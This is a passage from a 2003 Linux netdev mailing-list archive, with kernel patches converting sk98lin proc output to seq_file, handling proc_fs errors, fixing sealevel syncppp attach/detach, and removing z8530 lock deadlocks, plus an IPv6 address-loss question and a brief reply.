long) pPnmiStat->StatRxOctetsOkCts); - len += sprintf(buffer + len, - "Received packets %Ld\n", - (unsigned long long) pPnmiStat->StatRxOkCts); + /*Receive statistics */ + seq_printf(seq, + "\nReceive statistics\n\n"); + + seq_printf(seq, + "Received bytes %Ld\n", + (unsigned long long) pPnmiStat->StatRxOctetsOkCts); + seq_printf(seq, + "Received packets %Ld\n", + (unsigned long long) pPnmiStat->StatRxOkCts); #if 0 - if (pAC->GIni.GP[0].PhyType == SK_PHY_XMAC && - pAC->HWRevision < 12) { - pPnmiStruct->InErrorsCts = pPnmiStruct->InErrorsCts - - pPnmiStat->StatRxShortsCts; - pPnmiStat->StatRxShortsCts = 0; - } + if (pAC->GIni.GP[0].PhyType == SK_PHY_XMAC && + pAC->HWRevision < 12) { + pPnmiStruct->InErrorsCts = pPnmiStruct->InErrorsCts - + pPnmiStat->StatRxShortsCts; + pPnmiStat->StatRxShortsCts = 0; + } #endif - if (pNet->Mtu > 1500) - pPnmiStruct->InErrorsCts = pPnmiStruct->InErrorsCts - - pPnmiStat->StatRxTooLongCts; - - len += sprintf(buffer + len, - "Receive errors %Ld\n", - (unsigned long long) pPnmiStruct->InErrorsCts); - len += sprintf(buffer + len, - "Receive dropped %Ld\n", - (unsigned long long) pPnmiStruct->RxNoBufCts); - len += sprintf(buffer + len, - "Received multicast %Ld\n", - (unsigned long long) pPnmiStat->StatRxMulticastOkCts); - len += sprintf(buffer + len, - "Receive error types\n"); - len += sprintf(buffer + len, - " length %Ld\n", - (unsigned long long) pPnmiStat->StatRxRuntCts); - len += sprintf(buffer + len, - " buffer overflow %Ld\n", - (unsigned long long) pPnmiStat->StatRxFifoOverflowCts); - len += sprintf(buffer + len, - " bad crc %Ld\n", - (unsigned long long) pPnmiStat->StatRxFcsCts); - len += sprintf(buffer + len, - " framing %Ld\n", - (unsigned long long) pPnmiStat->StatRxFramingCts); - len += sprintf(buffer + len, - " missed frames %Ld\n", - (unsigned long long) pPnmiStat->StatRxMissedCts); - - if (pNet->Mtu > 1500) - pPnmiStat->StatRxTooLongCts = 0; - - len += sprintf(buffer + len, - " too long %Ld\n", - (unsigned long long) pPnmiStat->StatRxTooLongCts); - len += sprintf(buffer + len, - " carrier extension %Ld\n", - (unsigned long long) pPnmiStat->StatRxCextCts); - len += sprintf(buffer + len, - " too short %Ld\n", - (unsigned long long) pPnmiStat->StatRxShortsCts); - len += sprintf(buffer + len, - " symbol %Ld\n", - (unsigned long long) pPnmiStat->StatRxSymbolCts); - len += sprintf(buffer + len, - " LLC MAC size %Ld\n", - (unsigned long long) pPnmiStat->StatRxIRLengthCts); - len += sprintf(buffer + len, - " carrier event %Ld\n", - (unsigned long long) pPnmiStat->StatRxCarrierCts); - len += sprintf(buffer + len, - " jabber %Ld\n", - (unsigned long long) pPnmiStat->StatRxJabberCts); - - - /*Transmit statistics */ - len += sprintf(buffer + len, - "\nTransmit statistics\n\n"); + if (pNet->Mtu > 1500) + pPnmiStruct->InErrorsCts = pPnmiStruct->InErrorsCts - + pPnmiStat->StatRxTooLongCts; + + seq_printf(seq, + "Receive errors %Ld\n", + (unsigned long long) pPnmiStruct->InErrorsCts); + seq_printf(seq, + "Receive dropped %Ld\n", + (unsigned long long) pPnmiStruct->RxNoBufCts); + seq_printf(seq, + "Received multicast %Ld\n", + (unsigned long long) pPnmiStat->StatRxMulticastOkCts); + seq_printf(seq, + "Receive error types\n"); + seq_printf(seq, + " length %Ld\n", + (unsigned long long) pPnmiStat->StatRxRuntCts); + seq_printf(seq, + " buffer overflow %Ld\n", + (unsigned long long) pPnmiStat->StatRxFifoOverflowCts); + seq_printf(seq, + " bad crc %Ld\n", + (unsigned long long) pPnmiStat->StatRxFcsCts); + seq_printf(seq, + " framing %Ld\n", + (unsigned long long) pPnmiStat->StatRxFramingCts); + seq_printf(seq, + " missed frames %Ld\n", + (unsigned long long) pPnmiStat->StatRxMissedCts); + + if (pNet->Mtu > 1500) + pPnmiStat->StatRxTooLongCts = 0; + + seq_printf(seq, + " too long %Ld\n", + (unsigned long long) pPnmiStat->StatRxTooLongCts); + seq_printf(seq, + " carrier extension %Ld\n", + (unsigned long long) pPnmiStat->StatRxCextCts); + seq_printf(seq, + " too short %Ld\n", + (unsigned long long) pPnmiStat->StatRxShortsCts); + seq_printf(seq, + " symbol %Ld\n", + (unsigned long long) pPnmiStat->StatRxSymbolCts); + seq_printf(seq, + " LLC MAC size %Ld\n", + (unsigned long long) pPnmiStat->StatRxIRLengthCts); + seq_printf(seq, + " carrier event %Ld\n", + (unsigned long long) pPnmiStat->StatRxCarrierCts); + seq_printf(seq, + " jabber %Ld\n", + (unsigned long long) pPnmiStat->StatRxJabberCts); + + + /*Transmit statistics */ + seq_printf(seq, + "\nTransmit statistics\n\n"); - len += sprintf(buffer + len, - "Transmited bytes %Ld\n", - (unsigned long long) pPnmiStat->StatTxOctetsOkCts); - len += sprintf(buffer + len, - "Transmited packets %Ld\n", - (unsigned long long) pPnmiStat->StatTxOkCts); - len += sprintf(buffer + len, - "Transmit errors %Ld\n", - (unsigned long long) pPnmiStat->StatTxSingleCollisionCts); - len += sprintf(buffer + len, - "Transmit dropped %Ld\n", - (unsigned long long) pPnmiStruct->TxNoBufCts); - len += sprintf(buffer + len, - "Transmit collisions %Ld\n", - (unsigned long long) pPnmiStat->StatTxSingleCollisionCts); - len += sprintf(buffer + len, - "Transmit error types\n"); - len += sprintf(buffer + len, - " excessive collision %ld\n", - pAC->stats.tx_aborted_errors); - len += sprintf(buffer + len, - " carrier %Ld\n", - (unsigned long long) pPnmiStat->StatTxCarrierCts); - len += sprintf(buffer + len, - " fifo underrun %Ld\n", - (unsigned long long) pPnmiStat->StatTxFifoUnderrunCts); - len += sprintf(buffer + len, - " heartbeat %Ld\n", - (unsigned long long) pPnmiStat->StatTxCarrierCts); - len += sprintf(buffer + len, - " window %ld\n", - pAC->stats.tx_window_errors); + seq_printf(seq, + "Transmited bytes %Ld\n", + (unsigned long long) pPnmiStat->StatTxOctetsOkCts); + seq_printf(seq, + "Transmited packets %Ld\n", + (unsigned long long) pPnmiStat->StatTxOkCts); + seq_printf(seq, + "Transmit errors %Ld\n", + (unsigned long long) pPnmiStat->StatTxSingleCollisionCts); + seq_printf(seq, + "Transmit dropped %Ld\n", + (unsigned long long) pPnmiStruct->TxNoBufCts); + seq_printf(seq, + "Transmit collisions %Ld\n", + (unsigned long long) pPnmiStat->StatTxSingleCollisionCts); + seq_printf(seq, + "Transmit error types\n"); + seq_printf(seq, + " excessive collision %ld\n", + pAC->stats.tx_aborted_errors); + seq_printf(seq, + " carrier %Ld\n", + (unsigned long long) pPnmiStat->StatTxCarrierCts); + seq_printf(seq, + " fifo underrun %Ld\n", + (unsigned long long) pPnmiStat->StatTxFifoUnderrunCts); + seq_printf(seq, + " heartbeat %Ld\n", + (unsigned long long) pPnmiStat->StatTxCarrierCts); + seq_printf(seq, + " window %ld\n", + pAC->stats.tx_window_errors); - } - } - SkgeProcDev = next; - } - if (offset >= len) { - *eof = 1; - return 0; - } - - *buffer_location = buffer + offset; - if (buffer_length >= len - offset) { - *eof = 1; - } - return (min_t(int, buffer_length, len - offset)); + return 0; } +static int sk_proc_open(struct inode *inode, struct file *file) +{ + return single_open(file, sk_seq_show, PDE(inode)->data); +} + +struct file_operations sk_proc_fops = { + .owner = THIS_MODULE, + .open = sk_proc_open, + .read = seq_read, + .llseek = seq_lseek, + .release = single_release, +}; +#endif From shemminger@osdl.org Fri Sep 26 11:46:31 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 26 Sep 2003 11:46:38 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8QIkUFx009855 for ; Fri, 26 Sep 2003 11:46:31 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8QIII121864; Fri, 26 Sep 2003 11:18:18 -0700 Date: Fri, 26 Sep 2003 11:17:53 -0700 From: Stephen Hemminger To: Mirko Lindner Cc: Jeff Garzik , Ralph Roesler , netdev@oss.sgi.com Subject: [PATCH] (2/3) skge -- handle proc_fs errors. Message-Id: <20030926111753.560f6bf3.shemminger@osdl.org> In-Reply-To: <1220606764.18887.129.camel@mlindner-lin> References: <20030904160658.5ae22c0d.shemminger@osdl.org> <1220606764.18887.129.camel@mlindner-lin> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 288 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 3217 Lines: 115 Existing code does not - check if proc_fs functions return error. - use proc_mkdir to make the directory. Note pSkRootDir defined twice. diff -Nru a/drivers/net/sk98lin/skge.c b/drivers/net/sk98lin/skge.c --- a/drivers/net/sk98lin/skge.c Fri Sep 26 11:09:24 2003 +++ b/drivers/net/sk98lin/skge.c Fri Sep 26 11:09:24 2003 @@ -607,12 +607,6 @@ static uintptr_t RxQueueAddr[SK_MAX_MACS] = {0x400, 0x480}; -#ifdef CONFIG_PROC_FS -static struct proc_dir_entry *pSkRootDir; -#endif - - - /***************************************************************************** * * skge_probe - find all SK-98xx adapters @@ -638,7 +632,6 @@ SK_BOOL BootStringCount = SK_FALSE; int retval; #ifdef CONFIG_PROC_FS - int proc_root_initialized = 0; struct proc_dir_entry *pProcFile; #endif @@ -758,26 +751,28 @@ sizeof(SK_Root_Dir_entry) - 1); /*Create proc (directory)*/ - if(!proc_root_initialized) { - pSkRootDir = create_proc_entry(SK_Root_Dir_entry, - S_IFDIR | S_IWUSR | S_IRUGO | S_IXUGO, proc_net); - pSkRootDir->owner = THIS_MODULE; - proc_root_initialized = 1; + if(!pSkRootDir) { + pSkRootDir = proc_mkdir(SK_Root_Dir_entry, proc_net); + if (!pSkRootDir) + printk(KERN_WARNING "%s: Unable to create /proc/net/%s", + dev->name, SK_Root_Dir_entry); + else + pSkRootDir->owner = THIS_MODULE; } } - - /* Create proc file */ - pProcFile = create_proc_entry(dev->name, - S_IFREG | S_IXUSR | S_IWGRP | S_IROTH, - pSkRootDir); - - pProcFile->read_proc = sk_proc_read; - pProcFile->write_proc = NULL; - pProcFile->nlink = 1; - pProcFile->size = sizeof(dev->name + 1); - pProcFile->data = (void *)pProcFile; - pProcFile->owner = THIS_MODULE; + /* Create proc file */ + if (pSkRootDir && + (pProcFile = create_proc_entry(dev->name, + S_IFREG | S_IXUSR | S_IWGRP | S_IROTH, + pSkRootDir))) { + pProcFile->read_proc = sk_proc_read; + pProcFile->write_proc = NULL; + pProcFile->nlink = 1; + pProcFile->size = sizeof(dev->name + 1); + pProcFile->data = (void *)pProcFile; + pProcFile->owner = THIS_MODULE; + } #endif pNet->PortNr = 0; @@ -831,17 +826,18 @@ #endif #ifdef CONFIG_PROC_FS - pProcFile = create_proc_entry(dev->name, - S_IFREG | S_IXUSR | S_IWGRP | S_IROTH, - pSkRootDir); - + if (pSkRootDir + && (pProcFile = create_proc_entry(dev->name, + S_IFREG | S_IXUSR | S_IWGRP | S_IROTH, + pSkRootDir))) { - pProcFile->read_proc = sk_proc_read; - pProcFile->write_proc = NULL; - pProcFile->nlink = 1; - pProcFile->size = sizeof(dev->name + 1); - pProcFile->data = (void *)pProcFile; - pProcFile->owner = THIS_MODULE; + pProcFile->read_proc = sk_proc_read; + pProcFile->write_proc = NULL; + pProcFile->nlink = 1; + pProcFile->size = sizeof(dev->name + 1); + pProcFile->data = (void *)pProcFile; + pProcFile->owner = THIS_MODULE; + } #endif memcpy((caddr_t) &dev->dev_addr, @@ -1188,7 +1184,8 @@ #ifdef CONFIG_PROC_FS /* clear proc-dir */ - remove_proc_entry(pSkRootDir->name, proc_net); + if (pSkRootDir) + remove_proc_entry(pSkRootDir->name, proc_net); #endif } /* skge_cleanup_module */ From suresh.krishnan@ericsson.com Fri Sep 26 16:00:20 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 26 Sep 2003 16:00:24 -0700 (PDT) Received: from imr2.ericy.com (imr2.ericy.com [198.24.6.3]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8QN0JFx022252 for ; Fri, 26 Sep 2003 16:00:19 -0700 Received: from eamrcnt750.exu.ericsson.se (eamrcnt750.exu.ericsson.se [138.85.133.51]) by imr2.ericy.com (8.12.10/8.12.10) with ESMTP id h8QN0DO8024524 for ; Fri, 26 Sep 2003 18:00:13 -0500 (CDT) Received: by eamrcnt750.exu.ericsson.se with Internet Mail Service (5.5.2656.59) id ; Fri, 26 Sep 2003 17:59:56 -0500 Message-ID: <7B2A7784F4B7F0409947481F3F3FEF830837B105@eammlex037.lmc.ericsson.se> From: "Suresh Krishnan (QB/EMC)" Reply-To: "Suresh Krishnan (QB/EMC)" To: "'netdev@oss.sgi.com'" Subject: Interface forgets IPv6 address Date: Fri, 26 Sep 2003 18:00:11 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2656.59) Content-Type: text/plain; charset="iso-8859-1" X-archive-position: 289 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: suresh.krishnan@ericsson.com Precedence: bulk X-list: netdev Content-Length: 2403 Lines: 61 Hi, I am trying to bring an interface down temporarily and bring it back up. I have one IPv4 address and 1 IPv6 address (global scope) and the IPv6 link local address. The problem I have is that, after I bring the interface back up, the IPv6 global scope address is lost from the interface configuration. Is this expected behaviour? Here is the sequence of commands to reproduce my problem (I have tried it on multiple kernel versions, multiple IPv6 stacks and having IPv6 as a module as well as compiled in the kernel ). Initial state ============= [root@spock home]#uname -a Linux spock 2.4.20-19.9 #1 Tue Jul 15 17:18:13 EDT 2003 i686 i686 i386 GNU/Linux [root@spock home]#ip address 1: lo: mtu 16436 qdisc noqueue link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 brd 127.255.255.255 scope host lo inet6 ::1/128 scope host 2: eth0: mtu 1500 qdisc pfifo_fast qlen 100 link/ether 00:08:74:cc:ef:ea brd ff:ff:ff:ff:ff:ff inet 142.133.72.18/26 brd 142.133.72.63 scope global eth0 inet6 2001::1/64 scope global inet6 fe80::208:74ff:fecc:efea/64 scope link 3: sit0@NONE: mtu 1480 qdisc noop link/sit 0.0.0.0 brd 0.0.0.0 Interface down state ==================== [root@spock home]#ifconfig eth0 down [root@spock home]#ip address 1: lo: mtu 16436 qdisc noqueue link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 brd 127.255.255.255 scope host lo inet6 ::1/128 scope host 2: eth0: mtu 1500 qdisc pfifo_fast qlen 100 link/ether 00:08:74:cc:ef:ea brd ff:ff:ff:ff:ff:ff inet 142.133.72.18/26 brd 142.133.72.63 scope global eth0 3: sit0@NONE: mtu 1480 qdisc noop link/sit 0.0.0.0 brd 0.0.0.0 Interface back up ================= [root@spock home]#ifconfig eth0 up [root@spock home]#ip a 1: lo: mtu 16436 qdisc noqueue link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 brd 127.255.255.255 scope host lo inet6 ::1/128 scope host 2: eth0: mtu 1500 qdisc pfifo_fast qlen 100 link/ether 00:08:74:cc:ef:ea brd ff:ff:ff:ff:ff:ff inet 142.133.72.18/26 brd 142.133.72.63 scope global eth0 inet6 fe80::208:74ff:fecc:efea/64 scope link 3: sit0@NONE: mtu 1480 qdisc noop link/sit 0.0.0.0 brd 0.0.0.0 TIA Suresh From shemminger@osdl.org Fri Sep 26 16:48:57 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 26 Sep 2003 16:49:06 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8QNmvFx025745 for ; Fri, 26 Sep 2003 16:48:57 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8QNml116236; Fri, 26 Sep 2003 16:48:47 -0700 Date: Fri, 26 Sep 2003 16:48:21 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] sealevel -- syncppp startup fix Message-Id: <20030926164821.1e83dce9.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 290 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 2953 Lines: 115 The sealevel driver called sppp_attach before checking that board existed and never called detach in the error path. My change is to call sppp_attach from the netdev->init hook which happens later in the process, and call detach from the uninit hook. Also, changed the structure element 'netdev' to 'pppdev' to avoid confusion. Here is the fix against 2.6.0-test5 latest --- linux-2.5/drivers/net/wan/sealevel.c 2003-09-22 10:21:32.000000000 -0700 +++ linux-2.5-net/drivers/net/wan/sealevel.c 2003-09-26 16:47:02.163974888 -0700 @@ -32,7 +32,7 @@ struct slvl_device { struct z8530_channel *chan; - struct ppp_device netdev; + struct ppp_device pppdev; int channel; }; @@ -199,11 +199,24 @@ static int sealevel_neigh_setup_dev(stru return 0; } +static int sealevel_attach(struct net_device *dev) +{ + struct slvl_device *sv = dev->priv; + sppp_attach(&sv->pppdev); + return 0; +} + +static void sealevel_detach(struct net_device *dev) +{ + sppp_detach(dev); +} static void slvl_setup(struct net_device *d) { d->open = sealevel_open; d->stop = sealevel_close; + d->init = sealevel_attach; + d->uninit = sealevel_detach; d->hard_start_xmit = sealevel_queue_xmit; d->get_stats = sealevel_get_stats; d->set_multicast_list = NULL; @@ -225,11 +238,10 @@ static inline struct slvl_device *slvl_a return NULL; sv = d->priv; - sv->netdev.dev = d; + sv->pppdev.dev = d; d->base_addr = iobase; d->irq = irq; - sppp_attach(&sv->netdev); return sv; } @@ -315,8 +327,8 @@ static __init struct slvl_board *slvl_in dev->irq=irq; dev->chanA.private=&b->dev[0]; dev->chanB.private=&b->dev[1]; - dev->chanA.netdevice=b->dev[0]->netdev.dev; - dev->chanB.netdevice=b->dev[1]->netdev.dev; + dev->chanA.netdevice=b->dev[0]->pppdev.dev; + dev->chanB.netdevice=b->dev[1]->pppdev.dev; dev->chanA.dev=dev; dev->chanB.dev=dev; @@ -357,10 +369,10 @@ static __init struct slvl_board *slvl_in enable_irq(irq); - if (register_netdev(b->dev[0]->netdev.dev)) + if (register_netdev(b->dev[0]->pppdev.dev)) goto dmafail2; - if (register_netdev(b->dev[1]->netdev.dev)) + if (register_netdev(b->dev[1]->pppdev.dev)) goto fail_unit; z8530_describe(dev, "I/O", iobase); @@ -368,7 +380,7 @@ static __init struct slvl_board *slvl_in return b; fail_unit: - unregister_netdev(b->dev[0]->netdev.dev); + unregister_netdev(b->dev[0]->pppdev.dev); dmafail2: free_dma(dev->chanA.rxdma); @@ -377,9 +389,9 @@ dmafail: fail: free_irq(irq, dev); fail1_1: - free_netdev(b->dev[1]->netdev.dev); + free_netdev(b->dev[1]->pppdev.dev); fail1_0: - free_netdev(b->dev[0]->netdev.dev); + free_netdev(b->dev[0]->pppdev.dev); fail2: kfree(b); fail3: @@ -395,9 +407,7 @@ static void __exit slvl_shutdown(struct for(u=0; u<2; u++) { - struct net_device *d = b->dev[u]->netdev.dev; - sppp_detach(d); - + struct net_device *d = b->dev[u]->pppdev.dev; unregister_netdev(d); free_netdev(d); } From shemminger@osdl.org Fri Sep 26 16:53:03 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 26 Sep 2003 16:53:07 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8QNr2Fx026095 for ; Fri, 26 Sep 2003 16:53:02 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8QNqt116600; Fri, 26 Sep 2003 16:52:55 -0700 Date: Fri, 26 Sep 2003 16:52:30 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] wan/z8530 deadlocks Message-Id: <20030926165230.7baead12.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 291 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 6129 Lines: 285 Existing code for drivers/net/wan/z8530 is riddled with self-deadlocks and irq flag confusion. For example: z8530_init -> do_z8530_init -> write_zsreg self deadlocks on the channel lock. Several places acquire both the channel and dma lock and then reuse the same irq flags variable - ouch. This code at least, correctly probes (for no device case) on SMP. Other paths verified by inspection. diff -Nru a/drivers/net/wan/z85230.c b/drivers/net/wan/z85230.c --- a/drivers/net/wan/z85230.c Fri Sep 26 16:41:22 2003 +++ b/drivers/net/wan/z85230.c Fri Sep 26 16:41:22 2003 @@ -150,19 +150,15 @@ * Write a value to an indexed register. The caller must hold the lock * to honour the irritating delay rules. We know about register 0 * being fast to access. + * + * Assumes c->lock is held. */ - static inline void write_zsreg(struct z8530_channel *c, u8 reg, u8 val) { - unsigned long flags; - - spin_lock_irqsave(c->lock, flags); - if(reg) z8530_write_port(c->ctrlio, reg); z8530_write_port(c->ctrlio, val); - spin_unlock_irqrestore(c->lock, flags); } /** @@ -335,6 +331,7 @@ static void z8530_rx(struct z8530_channel *c) { u8 ch,stat; + spin_lock(c->lock); while(1) { @@ -393,6 +390,7 @@ */ write_zsctrl(c, ERR_RES); write_zsctrl(c, RES_H_IUS); + spin_unlock(c->lock); } @@ -408,6 +406,7 @@ static void z8530_tx(struct z8530_channel *c) { + spin_lock(c->lock); while(c->txcount) { /* FIFO full ? */ if(!(read_zsreg(c, R0)&4)) @@ -435,6 +434,7 @@ z8530_tx_done(c); write_zsctrl(c, RES_H_IUS); + spin_unlock(c->lock); } /** @@ -452,6 +452,7 @@ { u8 status, altered; + spin_lock(chan->lock); status=read_zsreg(chan, R0); altered=chan->status^status; @@ -486,6 +487,7 @@ } write_zsctrl(chan, RES_EXT_INT); write_zsctrl(chan, RES_H_IUS); + spin_unlock(chan->lock); } struct z8530_irqhandler z8530_sync= @@ -509,6 +511,7 @@ static void z8530_dma_rx(struct z8530_channel *chan) { + spin_lock(chan->lock); if(chan->rxdma_on) { /* Special condition check only */ @@ -531,6 +534,7 @@ /* DMA is off right now, drain the slow way */ z8530_rx(chan); } + spin_unlock(chan->lock); } /** @@ -543,6 +547,7 @@ static void z8530_dma_tx(struct z8530_channel *chan) { + spin_lock(chan->lock); if(!chan->dma_tx) { printk(KERN_WARNING "Hey who turned the DMA off?\n"); @@ -552,6 +557,7 @@ /* This shouldnt occur in DMA mode */ printk(KERN_ERR "DMA tx - bogus event!\n"); z8530_tx(chan); + spin_unlock(chan->lock); } /** @@ -589,6 +595,8 @@ z8530_tx_done(chan); } } + + spin_lock(chan->lock); if(altered&chan->dcdcheck) { if(status&chan->dcdcheck) @@ -607,8 +615,10 @@ z8530_flush_fifo(chan); } } + write_zsctrl(chan, RES_EXT_INT); write_zsctrl(chan, RES_H_IUS); + spin_unlock(chan->lock); } struct z8530_irqhandler z8530_dma_sync= @@ -868,7 +878,7 @@ int z8530_sync_dma_open(struct net_device *dev, struct z8530_channel *c) { - unsigned long flags; + unsigned long cflags, dflags; c->sync = 1; c->mtu = dev->mtu+64; @@ -913,7 +923,7 @@ * Enable DMA control mode */ - spin_lock_irqsave(c->lock, flags); + spin_lock_irqsave(c->lock, cflags); /* * TX DMA via DIR/REQ @@ -945,7 +955,7 @@ * Set up the DMA configuration */ - flags=claim_dma_lock(); + dflags=claim_dma_lock(); disable_dma(c->rxdma); clear_dma_ff(c->rxdma); @@ -959,7 +969,7 @@ set_dma_mode(c->txdma, DMA_MODE_WRITE); disable_dma(c->txdma); - release_dma_lock(flags); + release_dma_lock(dflags); /* * Select the DMA interrupt handlers @@ -973,7 +983,7 @@ z8530_rtsdtr(c,1); write_zsreg(c, R3, c->regs[R3]|RxENABLE); - spin_unlock_irqrestore(c->lock, flags); + spin_unlock_irqrestore(c->lock, cflags); return 0; } @@ -1062,7 +1072,7 @@ int z8530_sync_txdma_open(struct net_device *dev, struct z8530_channel *c) { - unsigned long flags; + unsigned long cflags, dflags; printk("Opening sync interface for TX-DMA\n"); c->sync = 1; @@ -1087,7 +1097,7 @@ c->tx_dma_buf[1] = c->tx_dma_buf[0] + PAGE_SIZE/2; - spin_lock_irqsave(c->lock, flags); + spin_lock_irqsave(c->lock, cflags); /* * Load the PIO receive ring @@ -1125,14 +1135,14 @@ * Set up the DMA configuration */ - flags = claim_dma_lock(); + dflags = claim_dma_lock(); disable_dma(c->txdma); clear_dma_ff(c->txdma); set_dma_mode(c->txdma, DMA_MODE_WRITE); disable_dma(c->txdma); - release_dma_lock(flags); + release_dma_lock(dflags); /* * Select the DMA interrupt handlers @@ -1145,7 +1155,7 @@ c->irqs = &z8530_txdma_sync; z8530_rtsdtr(c,1); write_zsreg(c, R3, c->regs[R3]|RxENABLE); - spin_unlock_irqrestore(c->lock, flags); + spin_unlock_irqrestore(c->lock, cflags); return 0; } @@ -1163,11 +1173,11 @@ int z8530_sync_txdma_close(struct net_device *dev, struct z8530_channel *c) { - unsigned long flags; + unsigned long dflags, cflags; u8 chk; - spin_lock_irqsave(c->lock, flags); + spin_lock_irqsave(c->lock, cflags); c->irqs = &z8530_nop; c->max = 0; @@ -1177,14 +1187,14 @@ * Disable the PC DMA channels */ - flags = claim_dma_lock(); + dflags = claim_dma_lock(); disable_dma(c->txdma); clear_dma_ff(c->txdma); c->txdma_on = 0; c->tx_dma_used = 0; - release_dma_lock(flags); + release_dma_lock(dflags); /* * Disable DMA control mode @@ -1206,6 +1216,8 @@ chk=read_zsreg(c,R0); write_zsreg(c, R3, c->regs[R3]); z8530_rtsdtr(c,0); + + spin_unlock_irqrestore(c->lock, cflags); return 0; } @@ -1251,7 +1263,7 @@ * Locked operation part of the z8530 init code */ -static int do_z8530_init(struct z8530_dev *dev) +static inline int do_z8530_init(struct z8530_dev *dev) { /* NOP the interrupt handlers first - we might get a floating IRQ transition when we reset the chip */ @@ -1259,10 +1271,6 @@ dev->chanB.irqs=&z8530_nop; dev->chanA.dcdcheck=DCD; dev->chanB.dcdcheck=DCD; - - /* Set up the chip level lock */ - dev->chanA.lock = &dev->lock; - dev->chanB.lock = &dev->lock; /* Reset the chip */ write_zsreg(&dev->chanA, R9, 0xC0); From davem@pizda.ninka.net Fri Sep 26 20:33:32 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 26 Sep 2003 20:33:39 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8R3XVFx003056 for ; Fri, 26 Sep 2003 20:33:32 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id UAA22905; Fri, 26 Sep 2003 20:19:53 -0700 Date: Fri, 26 Sep 2003 20:19:53 -0700 From: "David S. Miller" To: Jan Oravec Cc: netdev@oss.sgi.com Subject: Re: [PATCH] IPv6, sit: set prefix length 64 for link-local addresses Message-Id: <20030926201953.3dfc67bf.davem@redhat.com> In-Reply-To: <20030926175405.GA31498@wsx.ksp.sk> References: <20030926175405.GA31498@wsx.ksp.sk> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 292 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 354 Lines: 11 On Fri, 26 Sep 2003 19:54:05 +0200 Jan Oravec wrote: > please apply the following patch. > > It sets the prefix length 64 instead of 128 for link-local addresses on sit interfaces. I've seen this patch before, and I remember it being rejected by other ipv6 developers. Do the USAGI or other folks remember what is going on here? From torvalds@osdl.org Fri Sep 26 22:20:29 2003 Received: 